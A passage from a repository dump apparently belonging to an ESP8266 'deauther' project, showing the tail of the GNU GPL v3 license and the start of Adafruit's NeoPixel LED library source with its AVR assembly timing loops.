extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "esp8266_deauther/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.cpp",
    "content": "/*!\r\n * @file Adafruit_NeoPixel.cpp\r\n *\r\n * @mainpage Arduino Library for driving Adafruit NeoPixel addressable LEDs,\r\n * FLORA RGB Smart Pixels and compatible devicess -- WS2811, WS2812, WS2812B,\r\n * SK6812, etc.\r\n *\r\n * @section intro_sec Introduction\r\n *\r\n * This is the documentation for Adafruit's NeoPixel library for the\r\n * Arduino platform, allowing a broad range of microcontroller boards\r\n * (most AVR boards, many ARM devices, ESP8266 and ESP32, among others)\r\n * to control Adafruit NeoPixels, FLORA RGB Smart Pixels and compatible\r\n * devices -- WS2811, WS2812, WS2812B, SK6812, etc.\r\n *\r\n * Adafruit invests time and resources providing this open source code,\r\n * please support Adafruit and open-source hardware by purchasing products\r\n * from Adafruit!\r\n *\r\n * @section author Author\r\n *\r\n * Written by Phil \"Paint Your Dragon\" Burgess for Adafruit Industries,\r\n * with contributions by PJRC, Michael Miller and other members of the\r\n * open source community.\r\n *\r\n * @section license License\r\n *\r\n * This file is part of the Adafruit_NeoPixel library.\r\n *\r\n * Adafruit_NeoPixel is free software: you can redistribute it and/or\r\n * modify it under the terms of the GNU Lesser General Public License as\r\n * published by the Free Software Foundation, either version 3 of the\r\n * License, or (at your option) any later version.\r\n *\r\n * Adafruit_NeoPixel is distributed in the hope that it will be useful,\r\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n * GNU Lesser General Public License for more details.\r\n *\r\n * You should have received a copy of the GNU Lesser General Public\r\n * License along with NeoPixel. If not, see\r\n * <http://www.gnu.org/licenses/>.\r\n *\r\n */\r\n\r\n#include \"Adafruit_NeoPixel.h\"\r\n\r\n#if defined(TARGET_LPC1768)\r\n  #include <time.h>\r\n#endif\r\n\r\n#if defined(NRF52) || defined(NRF52_SERIES)\r\n#include \"nrf.h\"\r\n\r\n// Interrupt is only disabled if there is no PWM device available\r\n// Note: Adafruit Bluefruit nrf52 does not use this option\r\n//#define NRF52_DISABLE_INT\r\n#endif\r\n\r\n/*!\r\n  @brief   NeoPixel constructor when length, pin and pixel type are known\r\n           at compile-time.\r\n  @param   n  Number of NeoPixels in strand.\r\n  @param   p  Arduino pin number which will drive the NeoPixel data in.\r\n  @param   t  Pixel type -- add together NEO_* constants defined in\r\n              Adafruit_NeoPixel.h, for example NEO_GRB+NEO_KHZ800 for\r\n              NeoPixels expecting an 800 KHz (vs 400 KHz) data stream\r\n              with color bytes expressed in green, red, blue order per\r\n              pixel.\r\n  @return  Adafruit_NeoPixel object. Call the begin() function before use.\r\n*/\r\nAdafruit_NeoPixel::Adafruit_NeoPixel(uint16_t n, uint16_t p, neoPixelType t) :\r\n  begun(false), brightness(0), pixels(NULL), endTime(0) {\r\n  updateType(t);\r\n  updateLength(n);\r\n  setPin(p);\r\n}\r\n\r\n/*!\r\n  @brief   \"Empty\" NeoPixel constructor when length, pin and/or pixel type\r\n           are not known at compile-time, and must be initialized later with\r\n           updateType(), updateLength() and setPin().\r\n  @return  Adafruit_NeoPixel object. Call the begin() function before use.\r\n  @note    This function is deprecated, here only for old projects that\r\n           may still be calling it. New projects should instead use the\r\n           'new' keyword with the first constructor syntax (length, pin,\r\n           type).\r\n*/\r\nAdafruit_NeoPixel::Adafruit_NeoPixel() :\r\n#if defined(NEO_KHZ400)\r\n  is800KHz(true),\r\n#endif\r\n  begun(false), numLEDs(0), numBytes(0), pin(-1), brightness(0), pixels(NULL),\r\n  rOffset(1), gOffset(0), bOffset(2), wOffset(1), endTime(0) {\r\n}\r\n\r\n/*!\r\n  @brief   Deallocate Adafruit_NeoPixel object, set data pin back to INPUT.\r\n*/\r\nAdafruit_NeoPixel::~Adafruit_NeoPixel() {\r\n  free(pixels);\r\n  if(pin >= 0) pinMode(pin, INPUT);\r\n}\r\n\r\n/*!\r\n  @brief   Configure NeoPixel pin for output.\r\n*/\r\nvoid Adafruit_NeoPixel::begin(void) {\r\n  if(pin >= 0) {\r\n    pinMode(pin, OUTPUT);\r\n    digitalWrite(pin, LOW);\r\n  }\r\n  begun = true;\r\n}\r\n\r\n/*!\r\n  @brief   Change the length of a previously-declared Adafruit_NeoPixel\r\n           strip object. Old data is deallocated and new data is cleared.\r\n           Pin number and pixel format are unchanged.\r\n  @param   n  New length of strip, in pixels.\r\n  @note    This function is deprecated, here only for old projects that\r\n           may still be calling it. New projects should instead use the\r\n           'new' keyword with the first constructor syntax (length, pin,\r\n           type).\r\n*/\r\nvoid Adafruit_NeoPixel::updateLength(uint16_t n) {\r\n  free(pixels); // Free existing data (if any)\r\n\r\n  // Allocate new data -- note: ALL PIXELS ARE CLEARED\r\n  numBytes = n * ((wOffset == rOffset) ? 3 : 4);\r\n  if((pixels = (uint8_t *)malloc(numBytes))) {\r\n    memset(pixels, 0, numBytes);\r\n    numLEDs = n;\r\n  } else {\r\n    numLEDs = numBytes = 0;\r\n  }\r\n}\r\n\r\n/*!\r\n  @brief   Change the pixel format of a previously-declared\r\n           Adafruit_NeoPixel strip object. If format changes from one of\r\n           the RGB variants to an RGBW variant (or RGBW to RGB), the old\r\n           data will be deallocated and new data is cleared. Otherwise,\r\n           the old data will remain in RAM and is not reordered to the\r\n           new format, so it's advisable to follow up with clear().\r\n  @param   t  Pixel type -- add together NEO_* constants defined in\r\n              Adafruit_NeoPixel.h, for example NEO_GRB+NEO_KHZ800 for\r\n              NeoPixels expecting an 800 KHz (vs 400 KHz) data stream\r\n              with color bytes expressed in green, red, blue order per\r\n              pixel.\r\n  @note    This function is deprecated, here only for old projects that\r\n           may still be calling it. New projects should instead use the\r\n           'new' keyword with the first constructor syntax\r\n           (length, pin, type).\r\n*/\r\nvoid Adafruit_NeoPixel::updateType(neoPixelType t) {\r\n  bool oldThreeBytesPerPixel = (wOffset == rOffset); // false if RGBW\r\n\r\n  wOffset = (t >> 6) & 0b11; // See notes in header file\r\n  rOffset = (t >> 4) & 0b11; // regarding R/G/B/W offsets\r\n  gOffset = (t >> 2) & 0b11;\r\n  bOffset =  t       & 0b11;\r\n#if defined(NEO_KHZ400)\r\n  is800KHz = (t < 256);      // 400 KHz flag is 1<<8\r\n#endif\r\n\r\n  // If bytes-per-pixel has changed (and pixel data was previously\r\n  // allocated), re-allocate to new size. Will clear any data.\r\n  if(pixels) {\r\n    bool newThreeBytesPerPixel = (wOffset == rOffset);\r\n    if(newThreeBytesPerPixel != oldThreeBytesPerPixel) updateLength(numLEDs);\r\n  }\r\n}\r\n\r\n#if defined(ESP8266)\r\n// ESP8266 show() is external to enforce ICACHE_RAM_ATTR execution\r\nextern \"C\" void ICACHE_RAM_ATTR espShow(\r\n  uint16_t pin, uint8_t *pixels, uint32_t numBytes, uint8_t type);\r\n#elif defined(ESP32)\r\nextern \"C\" void espShow(\r\n  uint16_t pin, uint8_t *pixels, uint32_t numBytes, uint8_t type);\r\n#endif // ESP8266\r\n\r\n#if defined(K210) \r\n#define KENDRYTE_K210 1\r\n#endif\r\n\r\n#if defined(KENDRYTE_K210)\r\nextern \"C\" void  k210Show(\r\n    uint8_t pin, uint8_t *pixels, uint32_t numBytes, boolean is800KHz);\r\n#endif //KENDRYTE_K210\r\n/*!\r\n  @brief   Transmit pixel data in RAM to NeoPixels.\r\n  @note    On most architectures, interrupts are temporarily disabled in\r\n           order to achieve the correct NeoPixel signal timing. This means\r\n           that the Arduino millis() and micros() functions, which require\r\n           interrupts, will lose small intervals of time whenever this\r\n           function is called (about 30 microseconds per RGB pixel, 40 for\r\n           RGBW pixels). There's no easy fix for this, but a few\r\n           specialized alternative or companion libraries exist that use\r\n           very device-specific peripherals to work around it.\r\n*/\r\nvoid Adafruit_NeoPixel::show(void) {\r\n\r\n  if(!pixels) return;\r\n\r\n  // Data latch = 300+ microsecond pause in the output stream. Rather than\r\n  // put a delay at the end of the function, the ending time is noted and\r\n  // the function will simply hold off (if needed) on issuing the\r\n  // subsequent round of data until the latch time has elapsed. This\r\n  // allows the mainline code to start generating the next frame of data\r\n  // rather than stalling for the latch.\r\n  while(!canShow());\r\n  // endTime is a private member (rather than global var) so that multiple\r\n  // instances on different pins can be quickly issued in succession (each\r\n  // instance doesn't delay the next).\r\n\r\n  // In order to make this code runtime-configurable to work with any pin,\r\n  // SBI/CBI instructions are eschewed in favor of full PORT writes via the\r\n  // OUT or ST instructions. It relies on two facts: that peripheral\r\n  // functions (such as PWM) take precedence on output pins, so our PORT-\r\n  // wide writes won't interfere, and that interrupts are globally disabled\r\n  // while data is being issued to the LEDs, so no other code will be\r\n  // accessing the PORT. The code takes an initial 'snapshot' of the PORT\r\n  // state, computes 'pin high' and 'pin low' values, and writes these back\r\n  // to the PORT register as needed.\r\n\r\n  // NRF52 may use PWM + DMA (if available), may not need to disable interrupt\r\n#if !( defined(NRF52) || defined(NRF52_SERIES) )\r\n  noInterrupts(); // Need 100% focus on instruction timing\r\n#endif\r\n\r\n#if defined(__AVR__)\r\n// AVR MCUs -- ATmega & ATtiny (no XMEGA) ---------------------------------\r\n\r\n  volatile uint16_t\r\n    i   = numBytes; // Loop counter\r\n  volatile uint8_t\r\n   *ptr = pixels,   // Pointer to next byte\r\n    b   = *ptr++,   // Current byte value\r\n    hi,             // PORT w/output bit set high\r\n    lo;             // PORT w/output bit set low\r\n\r\n  // Hand-tuned assembly code issues data to the LED drivers at a specific\r\n  // rate. There's separate code for different CPU speeds (8, 12, 16 MHz)\r\n  // for both the WS2811 (400 KHz) and WS2812 (800 KHz) drivers. The\r\n  // datastream timing for the LED drivers allows a little wiggle room each\r\n  // way (listed in the datasheets), so the conditions for compiling each\r\n  // case are set up for a range of frequencies rather than just the exact\r\n  // 8, 12 or 16 MHz values, permitting use with some close-but-not-spot-on\r\n  // devices (e.g. 16.5 MHz DigiSpark). The ranges were arrived at based\r\n  // on the datasheet figures and have not been extensively tested outside\r\n  // the canonical 8/12/16 MHz speeds; there's no guarantee these will work\r\n  // close to the extremes (or possibly they could be pushed further).\r\n  // Keep in mind only one CPU speed case actually gets compiled; the\r\n  // resulting program isn't as massive as it might look from source here.\r\n\r\n// 8 MHz(ish) AVR ---------------------------------------------------------\r\n#if (F_CPU >= 7400000UL) && (F_CPU <= 9500000UL)\r\n\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n\r\n    volatile uint8_t n1, n2 = 0;  // First, next bits out\r\n\r\n    // Squeezing an 800 KHz stream out of an 8 MHz chip requires code\r\n    // specific to each PORT register.\r\n\r\n    // 10 instruction clocks per bit: HHxxxxxLLL\r\n    // OUT instructions:              ^ ^    ^   (T=0,2,7)\r\n\r\n    // PORTD OUTPUT ----------------------------------------------------\r\n\r\n#if defined(PORTD)\r\n #if defined(PORTB) || defined(PORTC) || defined(PORTF)\r\n    if(port == &PORTD) {\r\n #endif // defined(PORTB/C/F)\r\n\r\n      hi = PORTD |  pinMask;\r\n      lo = PORTD & ~pinMask;\r\n      n1 = lo;\r\n      if(b & 0x80) n1 = hi;\r\n\r\n      // Dirty trick: RJMPs proceeding to the next instruction are used\r\n      // to delay two clock cycles in one instruction word (rather than\r\n      // using two NOPs). This was necessary in order to squeeze the\r\n      // loop down to exactly 64 words -- the maximum possible for a\r\n      // relative branch.\r\n\r\n      asm volatile(\r\n       \"headD:\"                   \"\\n\\t\" // Clk  Pseudocode\r\n        // Bit 7:\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\" // 1    PORT = hi\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\" // 1    n2   = lo\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\" // 1    PORT = n1\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        \"sbrc %[byte] , 6\"        \"\\n\\t\" // 1-2  if(b & 0x40)\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\" // 0-1   n2 = hi\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\" // 1    PORT = lo\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        // Bit 6:\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\" // 1    PORT = hi\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\" // 1    n1   = lo\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\" // 1    PORT = n2\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        \"sbrc %[byte] , 5\"        \"\\n\\t\" // 1-2  if(b & 0x20)\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\" // 0-1   n1 = hi\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\" // 1    PORT = lo\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        // Bit 5:\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\" // 1    PORT = hi\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\" // 1    n2   = lo\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\" // 1    PORT = n1\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        \"sbrc %[byte] , 4\"        \"\\n\\t\" // 1-2  if(b & 0x10)\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\" // 0-1   n2 = hi\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\" // 1    PORT = lo\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        // Bit 4:\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\" // 1    PORT = hi\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\" // 1    n1   = lo\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\" // 1    PORT = n2\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        \"sbrc %[byte] , 3\"        \"\\n\\t\" // 1-2  if(b & 0x08)\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\" // 0-1   n1 = hi\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\" // 1    PORT = lo\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        // Bit 3:\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\" // 1    PORT = hi\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\" // 1    n2   = lo\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\" // 1    PORT = n1\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        \"sbrc %[byte] , 2\"        \"\\n\\t\" // 1-2  if(b & 0x04)\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\" // 0-1   n2 = hi\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\" // 1    PORT = lo\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        // Bit 2:\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\" // 1    PORT = hi\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\" // 1    n1   = lo\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\" // 1    PORT = n2\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        \"sbrc %[byte] , 1\"        \"\\n\\t\" // 1-2  if(b & 0x02)\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\" // 0-1   n1 = hi\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\" // 1    PORT = lo\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        // Bit 1:\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\" // 1    PORT = hi\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\" // 1    n2   = lo\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\" // 1    PORT = n1\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop\r\n        \"sbrc %[byte] , 0\"        \"\\n\\t\" // 1-2  if(b & 0x01)\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\" // 0-1   n2 = hi\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\" // 1    PORT = lo\r\n        \"sbiw %[count], 1\"        \"\\n\\t\" // 2    i-- (don't act on Z flag yet)\r\n        // Bit 0:\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\" // 1    PORT = hi\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\" // 1    n1   = lo\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\" // 1    PORT = n2\r\n        \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\" // 2    b = *ptr++\r\n        \"sbrc %[byte] , 7\"        \"\\n\\t\" // 1-2  if(b & 0x80)\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\" // 0-1   n1 = hi\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\" // 1    PORT = lo\r\n        \"brne headD\"              \"\\n\"   // 2    while(i) (Z flag set above)\r\n      : [byte]  \"+r\" (b),\r\n        [n1]    \"+r\" (n1),\r\n        [n2]    \"+r\" (n2),\r\n        [count] \"+w\" (i)\r\n      : [port]   \"I\" (_SFR_IO_ADDR(PORTD)),\r\n        [ptr]    \"e\" (ptr),\r\n        [hi]     \"r\" (hi),\r\n        [lo]     \"r\" (lo));\r\n\r\n #if defined(PORTB) || defined(PORTC) || defined(PORTF)\r\n    } else // other PORT(s)\r\n #endif // defined(PORTB/C/F)\r\n#endif // defined(PORTD)\r\n\r\n    // PORTB OUTPUT ----------------------------------------------------\r\n\r\n#if defined(PORTB)\r\n #if defined(PORTD) || 